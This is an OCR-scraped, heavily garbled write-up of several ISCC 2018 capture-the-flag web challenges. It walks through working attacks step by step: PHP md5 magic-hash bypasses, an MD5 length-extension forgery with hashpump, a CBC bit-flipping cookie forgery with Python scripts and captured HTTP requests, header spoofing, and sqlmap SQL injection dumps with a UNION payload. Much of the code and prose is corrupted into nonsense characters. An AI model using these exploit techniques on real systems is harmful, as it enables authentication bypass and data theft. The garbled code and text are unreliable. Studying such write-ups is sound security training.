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W HHbE: http://118.190.152.202:8005/
H N
RAP#: R 2
<html>
<bady>

<form action="mdb.php” method="post” >
A A5 <input type="text” name="uszername”/>
BB <input type="password” name ="password”/>
{input type="submit” »

</bady>

< html >

<Tphp

header (" content—type: text/html ; charset=utf-8") ;

if (izzet ($_POST[ uzername’ 1) &izzet ($_POST[ paszsword 11){
fusername = $_POST[ username’ ] ;
fpassword = §_POST[ password’ ];

1

elze
fuzername="hellc":
fpassword="hello”:

1

if (md5S ($password) == 0 {
echo "xmumx”;

1

show_source(_ FILE )
T

F A md5(&password)ix B, &R —F, #F.
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QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
$214587387a
shal(str)
shal('aaroZmok")
shal('aaK1STfY")
shal('aa08zKZF"')
shal('aa30FF9m")

PEAZ 44111 125 i onkepzo it :
http://118.190.152.202:8065/md5. php

iR

NULL <?php

include " flag.php’

fa = @F_REQUEST[ 2]
@erval (“var dump ($a) 0
show_source(__FILE__):
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1.5 REQUEST &AiRget fEpost#lhEEZSH
2. %K php, FoREF AR, HMEXICSaLENNELELRLT.

paload:http://118.190.152.202:8005/no_md5.php?a=flag

2.Collide [4314:200]
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http://118.190.152.202:8005/no_md5.php?a=flag

<?php
include "secret.php”;
@fuzername= (string) §_POST["username’ ] ;
function enc(ftext) {

zlobal $key;

return mdb (Fkey. ftext)
1

1f (enc (fusername) === §_COCKIE[ werify 1)1
if {iz_numeric(ztrpos (fusername, “admin”))) |
diel($flag);
1
elzef

die("you are not admin®);
1
1

elzef
setoookie ("verifv”, enc(”zuest”), time ()+E0*A0#24%7)
zetcookie("len”, strlen(lkey), time()+E0*G0#24%7)

1

show_source(__FILE__):

FE R IX ) [ enc($username) === $ COOKIE['verify'],# 7 —4, LB ALK T, NI T .
A LA BIAR R : hashih 75 K3 fE T 2 2]

HIX ANt A 2 2 7 https://blog.csdn.net/syh_486_007/article/details/51228628
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https://www.cnblogs.com/pcat/p/5478509.html

import hashlib

key="A"*10+"'d"'*10+"'c"'*10+"'x"'*10+"158963"
inl=key+"guest"
print hashlib.md5(inl).hexdigest() #38319d170b50883a5c97876ff1565636

#9992b64126b93283fa7cl1086d2ec2fod

in2=key+"guest\x80\x00\x00\x00\x00\x98\x01\x00\x00\x00\x00\x00\x00admin"
print hashlib.md5(in2).hexdigest() #9992b64126b93283fa7c1086d2ec2fad
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redubuntu@RedUbuntu:~$%$ hashpump

Input Signature: 78cfc57d983b4al7e55828c001a3e781

Input Data: guest

Input Key Length: 46

Input Data to Add: adminxx

ff758dd577981979927ad71c1f364c6b
guest\x80\x00\x00\x00\x00\x98\x01\x00\x00\x00\x00\x00\x00adminxx

POST http://118.190.152.202:8002/

Host: 118.190.152.202:8002

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 60

Cookie: verify=ff758dd577981979927ad71c1f364c6b; len=46

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Control: no-cache

username=guest%80%00%00%00%00%98%01%00%00%00%00%00%00adminxx

R Ay 75 Fkey.
3.0nly admin can see flag [41£:300]
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<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title>Paper login form</title>
<link rel="stylesheet" href="css/style.css">

</head>
<body>
<div id="login">
<form action="" method="post">

<h1>Sign In</h1l>
<input name='username' type="text" placeholder="Username">
<input name='password' type="password" placeholder="Password">
<button>Sign in</button>

</div>

</body>

<!--tip:index.txt-->

</html>

http://118.190.152.202:8001/index.txt /1y % :

<?php
include 'sqlwaf.php’;
define("SECRET_KEY", "..iiiiuiineinnnn "),

define("METHOD", "aes-128-cbc");
session_start();

function get_random_iv(){
$iv=""5
for($i=0;%$i<16;%$i++){
$iv.=chr(rand(1,255));
}
return $iv;
¥
function login($info){
$iv=get_random_iv();
$plain = serialize($info);
$cipher = openssl _encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
$_SESSION[ 'username'] = $info[ 'username’];
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
function show_homepage(){
if ($_SESSION["username"]==="admin"){
echo '<p>Hello admin</p>';
eChO '<p>F1ag iS *************(/p)';
}else{
echo '<p>hello '.$ SESSION[ 'username'].'</p>';
echo '<p>Only admin can see flag</p>';
}
echo '<p><a href="loginout.php">Log out</a></p>"';
die();
}
function check_login(){
if(isset($_COOKIE[ 'cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE[ 'cipher']);



$iv = baseb64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64 decode('".base64_encode($plain).

) can't unseria
$_SESSION[ 'username'] = $info[ 'username'];

}else{
die("ERROR!");

if (isset($_POST['username’])8&&isset($_POST['password'])) {
$username=waf((string)$_POST[ 'username']);
$password=waf((string)$_POST[ 'password']);

if($username === 'admin"'){
exit('<p>You are not real admin!</p>');
}else{
$info = array('username'=>$username, 'password’'=>$password);
login($info);
show_homepage();
}
}
else{
if(isset($_SESSION["username"])){
check_login();
show_homepage();
}
}
?>

<IDOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title>Paper login form</title>
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<div id="login">
<form action="" method="post">
<h1>Sign In</hl>
<input name='username' type="text" placeholder="Username">
<input name='password' type="password" placeholder="Password">
<button>Sign in</button>
</div>
</body>
</html>
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BEiI=imEL L username = admil password = assa B9 , BaeRdlfG . TLAEERIEF T cookie -

1 iv = acinHcBLKxqp#*2FI889gh2bA%3D%3D

2 cipher = g8RbtxKHo%2BWjB3HEBZoQxCovnlDsHcq84n%2BNx1oVNET7LCEqn2GLEG5%2Bi8161DTOCTPUZ JOXRxGATEQyUlG:
14 3

X cookieBBHnH T Turldis , B 1T LAERpython® B ungquote( ) ERESEAERS,
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ES/—FhEFIRTEISE $_SESSToN["username”] , BHNE , FifEcheck_login() EREMEHcookie(d , FAGHEIALE
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a:2:{s:8:"userna
me”;s:5: "admiN";
5:8:"passuword” ;s

:4:"zaaa";}
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<?php
fusername = "admin®;
$password = 'aaaa’;

$info = array('username’'=>%username, 'password’'=>$password);

$str = serialize($info);

echo $str;

SR TER: a:2:{s:8:"username"”;s:5:"admiN";s:8: "password”;s:4:"aaaa";}
2k
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Flipped ciphertext bits

Initialization Vector (IV) Ciphertext » Ciphertext Ciphertext
0 [TTTT ] [TTTTTT [TTTTTI
Block Cipher Block Cipher Block Cipher
Key —= | Decryption Key —= ' Decryption Key —+= | Decryption

= (5 . - --_:- - .j.

v v r
EEEEEETEED [T11T 1T W

~*  Plaintext Plaintext ™ Plaintext
Garbled decryption Flipped plaintext bits

1
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11
12
13
14
15

Modification attack on CBC

#! python2
import urllib
import basebd

cipher = 'g8RbtxKHo%2BWjB3HEBZoOxCovnlDsHcq84n#%2BNx1o0VNE7 LCEQn2GLEQ5%2B18]16i0TICTPIWT JOXRxGATEQy Ul
cipher = urllib.ungquote(cipher) #urlfff

cipher = base6&4.b64decode(cipher) #hasecdiEfy, HATERENISETE T

ciphernew = cipher[8:13] + chr(ord{cipher[13]) * ord({'N") ~ ord({'n’)) + cipher[14:]

s R R TR R

#cipher[13] ~ B (cipher[13 + 16]) = 'N' XEFEBR TSR
#cipher[13] ~ 'N' ~ 'n' ~ % (cipher[13 + 16]) = 'N' ~ 'N' ~ 'n’
print urllib.quote(basebt4.b6dencode(ciphernew))

#HEiHEE R g8RbtxKHO¥2BWiB3HEBboQxCovn1DsHc q84n%2BNx1oVNe7 LCEqn2GLAG5%2Bi8]61iDTOCTPWT JOXRxGATEQY ulE
4 3

BEAFER TENENE LT | T ENESZ o ST IEENEEEY 7 , EEFRENaE , ERE—E
TNREERERIVISRAE iy | XEVRAASFELAN  EEEESXOEREENT T |, BFisiEER
ERE—EIEN T, FRLUBIRESSEREELAE iy , E2URNT



BEANHSE TERNENENLT | RN EURE SR LMSEEIMESNE TEHIE 7, EERENTE , BAgE—4H
SVREEHERTIWALEE v | XEYBRCEERELIAIR  EEEEENEERTINERT T | BRFtieiEER
IEHBRUE—HIEN T, FABIIEEEERSAEily . BT

1 #! python2

2 import urllib

2 import basegd

4

5 iv = baset4.b64decode(urllib.unquote( ' acinHcBLKxqp%2FI889gh2bA%3D%3D"))
6 jiamingwen = baseb4.b64decode{urllib.unquote('iUxB417188WzUpvaNotOpWllIjtz0jUusImFkbWluIjtz0jg6InBl
7 mingwen = '3:2:{s:8:"userna’

8 newiv = "'

9 for i in range(8,16):

18 newiv += chr{ord({mingwen[i])"ord{jiamingwen[i])"ord{iv[i]))

11  print urllib.quote(basebd.bbdencode(newiv))

12

12 #EEE R eb7Ux00aucg JGGVpAF sqA%ID%2D

14 **°

15 iv ~ B% (cipher) = BAW

16 iv ~ B% (ciphernew) = {BRBH3T

17 div ~ {BBAZ ~ B (ciphernew) = 8

18 iv ~ {RBAZ ~ BR¥ (ciphernew) ~ BH3r= BAOT

H

28 dvnew = iv ~ {BBA:T ~ BRIT
2 WEeAst, B BRI, BURA AR SR, B RN E BB, ZRIE
22 "

} »

FrlAZA HES e cookie s

cipher = g8RbtxKHo%2BljBE3HEEboQxCovnlDsHcq84n%2BNx1oVNBT7LCEqn2GLEq5%2Bi8]6iDTICTPWT JOXRxGATEQy UG

Lt

iv = gb7UxOXxwucgjGGVpAFsqAi3D%3D
1 3
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Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex [ HTML | Render
POST / HTTR/1.1 & HTTPR/1.1 200 OK A
Host: 118.190.152.202:8001 r Date: Mon, 14 May 2018 12:20:39 GMT r
User-Agent: Mozilla/5.0 (Windows NT 6.1; "Win64; x64; rv:60.0) Gecko /20100101 Firefox/60.0 Server: Apache/2.4.7 (Ubuntu)
Accept: text/html, application/zhtml+xml application fxml:q=0.9,%*:q=0.8 %-Powered-By: PHP/5.5.9-1ubuntus.24
Accept-Language: zh-CN zh:q=0.8,zh-TW:g=0.7,zh-HK:q=0.5,en-US:q=0.3,en:q= 0.2 Set-Cookie: PHPSESSID= gihlpdlnvgvbsthlvsu26953b3; path=/
Accept-Encoding: gzip, deflate Expires: Thu, 19 Nov 1981 08:52:00 GMT
Referer: https//118.190,152,202:8001/ Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Type: applicati form-url ded Pragma: no-cache
Content-Length: 30 Set-Cookie: iv=aN2h0Mk2ZGMmEdSegUUOkw%3D %30
Cookie: Set-Cookie:
Connection: close cipher=YUZPvrE4hFXEdB 2tzcUFRtiPzySkZn%2FMPY=Ud Q%2FVLTRnOedy66gg W gET)7 OZ%2FKYnEa2%2FB PZmpvip
Upgrade-Insecure-Requests: 1 ZFcOBIAVQU3D 3D
Cache-Control: max-age=0 Vary: Accept-Encoding
Content-Length: 89
username=admiN&password=aaaaaa Connection: close

Content-Type: text/html

<p=hello admiN</p> <p=0Only admin can see flag </p = <p=> =a href="loginoutphp”> Log out</a= </p>

RIS WTR




HTTP/1.1 200 OK

Date: Mon, 14 May 2018 12:20:39 GMT

Server: Apache/2.4.7 (Ubuntu)

X-Powered-By: PHP/5.5.9-1ubuntu4.24

Set-Cookie: PHPSESSID=gihlpdlnvgvbs6hlvsu26953b3; path=/

Expires: Thu, 19 Nov 1981 ©8:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Set-Cookie: iv=aN2h@Mk2ZGMmEdSegUUOkw%3D%3D

Set-Cookie: cipher=YUZPvrE4hFXEdB2tzcUFtiPzySkZn%2FMPYzUdQ%2FWLTRNOedy66ggWvCgETI70Z%2FKYnE02%2FBP2mpvepZfc
Vary: Accept-Encoding

Content-Length: 89

Connection: close

Content-Type: text/html

<p>hello admiN</p><p>Only admin can see flag</p><p><a href="loginout.php">Log out</a></p>

SRS AN T P R -

#! python2
import urllib
import base64

cipher = 'YUZPvrE4hFXEdB2tzcUFtiPzySkZn%2FMPYzUdQ%2FWLTRnOedy66ggWvCgETI70Z%2FKYnE02%2FBP2mpvOpZfc@6IAvQ%3D
cipher = urllib.unquote(cipher) #urlf#ig

cipher = base64.b64decode(cipher) #base64 D, LA 15 EIHIUE %L

ciphernew = cipher[0:13] + chr(ord(cipher[13]) ~ ord('N') ~ ord('n")) + cipher[14:]

HIX BLZE Y — AN TRGE A5 L B BELAA A e -

#cipher[13] ~ f#% (cipher[13 + 16]) = 'N' XZIEHHH T HRE LR
#cipher[13] ~ 'N' ~ 'n' ~ f#% (cipher[13 + 16]) = 'N' ~ 'N' ~ 'n'
print urllib.quote(base64.b64encode(ciphernew))

15 H fhcipher:

YUZPvrE4hFXEdB2tzeUFtiPzySkZn/MPYzUdQ/WLTRNOedy66ggWvCgET J70Z/KYnEo2/BP2mpv0pZfcO61Av
o4 I F

2B

% & cookieH {IPHPSESSID(_ 228k 11 f1), V(L R$EAZIR 11 ), Ciper(it 5 H R F145 R ).
postiI ¥ i username=admiN.
DU RS 77 ik N

if(isset($_SESSION["username"])){

check_login();
show_homepage();



—
Request [} Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
POST / HTTR/1.1 A HTTP/1.1 200 OK A
Host: 118.190.152.202:8001 r Date: Mon, 14 May 2018 12:27:51 GMT r
User-Agent: Mozilla/5.0 (Vindows NT 6.1; Win64; x64; n:60.0) Gecko/20100101 Firefox/60.0 Server: Apache/24.7 (Ubuntu)
Accept: text/html, application/«html+xml, applicationfxml:q=0.8,%/"q=0.8 #-Powered-By: PHP/5.5.9-1ubuntud.24
Accept-Language: zh-CN,zh:q=0.8,zh-T\Wiq=0.7,zh-HK:q=0.5,en-US:q=0.3,en;q=0.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT
Accept-Encoding: gzip, deflate Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Referer: httpy//118.190.152.202:8001/ Pragma: no-cache
Content-Type: application/x-www-farm-urlencoded Wary: Accept-Encoding
Content-Length: 14 Content-Length: 126
Cookie: PHPSESSID=gihlpdinvgvbsthlvsu26953h3; Connection: close
iv=aNZhOMk2ZGMmEdSeglUUOkw 63D %30;dpher=YUZPvrE4hFXEdB 2tze UFtiPzySkZn/MPYzUdQ/ WLTR Content-Type: text/html
nOedyb6gg VwCgET)70Z/KYnEo2/BP2mpvlpZfcl6lAvQ%3D%3D
Connection: close <p>base64 decode(’ pBOOEAEIAL5U nIKUahKqL21ITjtz0ju jt=0j I [jtz0jY6IMFhYWFhYS

Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

username=admilN

S B A T

17fQ==') can't unserialize</p =

<p>base64_decode('p80OE4EIaL5UnIKUahKqL211Ijtz0jU6ImFkbWluIjtz0jg6InBhc3N3b3IkIjtz0jY6ImFhYWFhYSI7fQ==") ca

FEXAME A JHAR2:

import urllib
import base64

iv = base64.b64decode(urllib.unquote('aN2heMk2ZGMmEdSegUUOkw%3D%3D"))

jiamingwen =

mingwen = 'a:2:{s:8:"userna’

newiv =
for i in range(90,16):

//JERIIIV

newiv += chr(ord(mingwen[i])”ord(jiamingwen[i])”~ord(iv[i]))

print urllib.quote(base64.b64encode(newiv))

TR IV
riQN%2BTNMNuVIryN5jiXK3Q%3D%3D
R ORI IVATE A B e, GRS

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex | HTML | Render

base64.b64decode(urllib.unquote( ' p80GE4EJaL5UNIKUahKqL211Ijtz0jU6ImFkbWluIjtz0jg6InBhc3N3b3IkI

POST / HTTP/L.1

Host: 118.190.152.202:8001

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html, application/<html+xml,application/xml;
Accept-Language: zh-CN,zh;q=0.8,zh-T\W;q=0.7,zh-HiK:q=0.5,en-US:q=0.3,en;q=0.2

Accept-Encading: gzip, deflate

Referer: http://118.190,152.202:8001/

Content-Type: application/x-www-form-urlencoded

Content-Length: 14

Cookie: PHPSESSID=gihlpdInvgvbsthlvsu26953k3;

iv=riQn%2B TNMNUVIryNSjiXK3Q%3D %30 cipher=YUZPvrE4 hFAEdB 2tze URtiPzy SkZn/MPY=UUd QAN LTRn
Dedyb6gg'WvCgETJ70Z/KYnEo2/BP2mpv0pZfc06lAvQ%3D%3D

Connection: close

Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

username=admiN

% Flflag.
4.9 A3 X 4 T B [53-16:100]

v

HTTP/1.1 200 OK

Date: Mon, 14 May 2018 12:31:47 GMT
Server: Apache/2.4.7 (Ubuntu)
*#-Powered-By: PHP/5.5.9-1ubuntud.24
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 96

Connection: close

Content-Type: text/html

<p=Hello admin=/p= <p=Flag is ISCC{123dasd 89asl0aas}</p > <p==<a href="loginout.php">Log out</a= </p>

2% :https://mntnOx.github.io/2018/05/03/ISCC-2018-%E9%83%A8%E5%88%86wp/

I3




i

5 R T http:/ledu.xss.tv #EN, I H HAGRA A BIIPHLbE A A]
U\Iﬁ)\kkﬁﬂé ~E]lPA: 110.110.110.110

iﬁq:E/J /L»

Referer: http://edu.xss.tv
X-Forwarded-For: 110.110.110.110

Request Response
Raw | Headers | Hex Raw | Headers | Hex | HTML | Render
GET / HTTP/1.1 " =div class="container"s i
Host: 118.190.152.202:8016 r <div class="navbar-header"= r
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64: x64: rvi60.0) Gecko/20100101 Firefox/60.0 <button type="button" dass="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
Accept: text/html, application/<html+xml application/xml:q=0.9,"/*:q=0.8 <span class="icon-bar"> <fspan=
Accept-Language: zh-CN,zh:q=0.8,zh-T\W:q= 0.7, zh-HK:q=0.5 en-US:q=0.3,an:q=0.2 <span class="/con-bar"> «/span>
Accept-Encoding: gzip, deflate <span dlass="icon-bar"» <fspan=
Connection: close </button=
Upgrade-Insecure-Requests: 1 < fdiv>
Cache-Control: max-age=0, no-cache <div class="collapse navbar-collapse”=
Referer: http://eduxss.tv <fdivs
¥-Forwarded-For: 110.110.110.110 < /divs
Pragma: no-cache <fdiv=
<body=
=div class="container "=
<hl class="text-center"s &—% < /hl=
<br=
<hr=
<br=<br=
<h2-FXEZEM httpy//eduxsstv
HA  HERFERARMIPHOA R EERAS X, 2F1PA : 110.110.110.110</h2 >
< fdivs|
<scripfi=window.location = number2.php?token =260ca 9dd8a4577fc00bTbd 5810298076 Jrjs cript> <div
id="foSter* ctass="comntamer
I <brs
<nav dass="navbar navbar-default navbar-fixed-bottom">
=div class="navbar-inner navbar-content-center"»
=p dass="text-muted credit text-center" style="padding: 10px: font-size: 25px;">
Powered by #i—thweb%% Copyright 2016-2017 &inbsp; <a href="http://www.inyiji.com"
target="_blank" > www.xinyijicom</a>
<fp>
</div>

http://118.190.152.202:8016/number2.php?token=260ca9dd8a4577fc00b7bd5810298076
Vi IZAS A AR D

45 M http://118.190.152.202:8016/password.jsF AL

var password = eval(function(p, a, c, k, e, r) {
= String;
if ('0'.replace(@, e) == 0) {
while (c--) r[e(c)] = k[c];
k = [function(e) {
return rle] ||

function() {
return '~$'

¥
while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g"), k[c]);
return p
} (' ADWAcwBjAHIAaQBWAHQAPZBhAGWAZQBYAHQAKAAIAHAAYQBzAHMAdwBVAHIAZAA6AHEAaQBUAHKAAQBAGKALEBjAGBADQAIACKAPAA

IR B H HbaseB4 kil :
<script>alert("password:xinyiji.com")</script>

N E AL R] LS Eiflag.



SAMARKSE [201E:300]

—ANERES, P Aadmine iR E e R, HAH P A2 S RORIK S BUE D % .
Z2% A, Ui s fEusername,sqlmapifl :

iscc.txtN 2 :

POST / HTTP/1.1

Host: 118.190.152.202:8011

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Referer: http://118.190.152.202:8011/

Content-Type: application/x-www-form-urlencoded

Content-Length: 29

Cookie: PHPSESSID=hff236j9slqfho29hb8qot7nvil

Connection: close

Upgrade-Insecure-Requests: 1

username=admin&password=admin

1.python sglmap.py -r "Iscc.txt" -p username --dbs --batch --level 5

available databases [4]:
[*] information_schema
[*] mysql

[*] performance_schema
[*] sqli_database

2.python sqimap.py -r "POST\Iscc.txt" -p username -D sqli_database --tables --batch --level 5

Database: sqli_database
[2 tables]

3.python sqlmap.py -r "POST\Iscc.txt" -p username -D sqli_database -T user --columns --batch --level 5

Database: sqli_database
Table: user
[3 columns]

CEESEEEE 4o osismiooisiso oo +
| Column | Type |
Soooooosoos focoooosonoonos +
| id | int(11) |
| pass | varchar(255) |

| username | varchar(255) |
Soooooosoos focoooosonnonos +



4 python sgimap.py -r "POST\Iscc.txt" -p username -D sqli_database -T user -C pass --dump --batch --level 5

Database: sqli_database
Table: user
[2 entries]

| @98f6bcd4621d373caded4e832627b4f6 (test) |
| 197ed45182778el1c74cc8c72f9fffcO7 u4goe9 |

53| H /' 4 admin % i%u4g009

Gtz )G

«< Cc || 118.190.152.202
1> welcome +
logout

id 1 83

flagTEA—T-FEH

id w3 AE w8l o
1 titlel hi geood day 2017 aldte®

IDATLAEAN . &Rl 2 52> 1% B cookie "Cookie: PHPSESSID=hff236}9slgfho29hb8qot7nv1"

iy cookieffisqimap:

python sglmap.py -u "http://118.190.152.202:8011/?id=1" --cookie="PHPSESSID=hff236j9slqfho29hb8qot7nv1" -T

>python sqglmap.py -u "http://118.190.152.202:8011/?id=1" --cookie="PHPSESSID=hff236j9slqfho29hb8qot7nv1" -T

L

_ {1.1.5.4#dev}
l_ -1 . [,] [ .
Y A 1 Y ) S B
| _|v | | http://sqlmap.org

[!'] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon

sible for any misuse or damage caused by this program

[*] starting at 13:11:50

[13:11:50] [INFO] resuming back-end DBMS 'mysql’
[13:11:50] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:

Parameter: id (GET)
Type: boolean-based blind



Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 5022=5022

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=1 AND SLEEP(5)

Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: id=1 UNION ALL SELECT CONCAT(©x7176706271,0x7361496b554c4463484b634
657775077464c5548424d6€78645978455557716953544a5353546b70,0%x7162707a71) ,NULL ,NUL
L,NULL,NULL,NULL-- LnYM
[13:11:50] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.0.12
do you want sgqlmap to consider provided table(s):
[1] as LIKE table names (default)
[2] as exact table names
> 1
[13:11:50] [INFO] searching tables LIKE 'news'
Database: sqli_database
[1 table]

do you want to dump tables' entries? [Y/n] Y

which database(s)?

[a]ll (default)

[sqli_database]

[qluit

> a

which table(s) of database 'sqli_database'?

[a]ll (default)

[news]

[s]kip

[q]uit

> a

[13:11:50] [INFO] fetching columns for table 'news' in database 'sqli_database'’
[13:11:50] [INFO] fetching entries for table 'news' in database 'sqli_database'’
[13:11:50] [INFO] analyzing table dump for possible password hashes

Database: sqli_database

Table: news

[1 entry]

. CE LT oo oo o m - dm e +
| id | text | note | title | date | kjafuibafuohnuvwnruniguankacbh |
Fmmm e mm oo Fommmm - Fomm - Fommm - dm e e +

[13:11:50] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issuel602). All unhandled occurances wi
11 result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.

| ?m2?2?" | titlel | 2017 | flag{hahaha999999999} [

L e E R O O Rt e ittt +



[*] shutting down at 13:11:50

HE it flag.
7] LIz 17 payload.

http://118.190.152.202:8011/?
id=1%200r%201=1%20union%20select%201,2,3,4,5 kjafuibafuohnuvwnruniguankacbh%20from%20news %20

4 i | D
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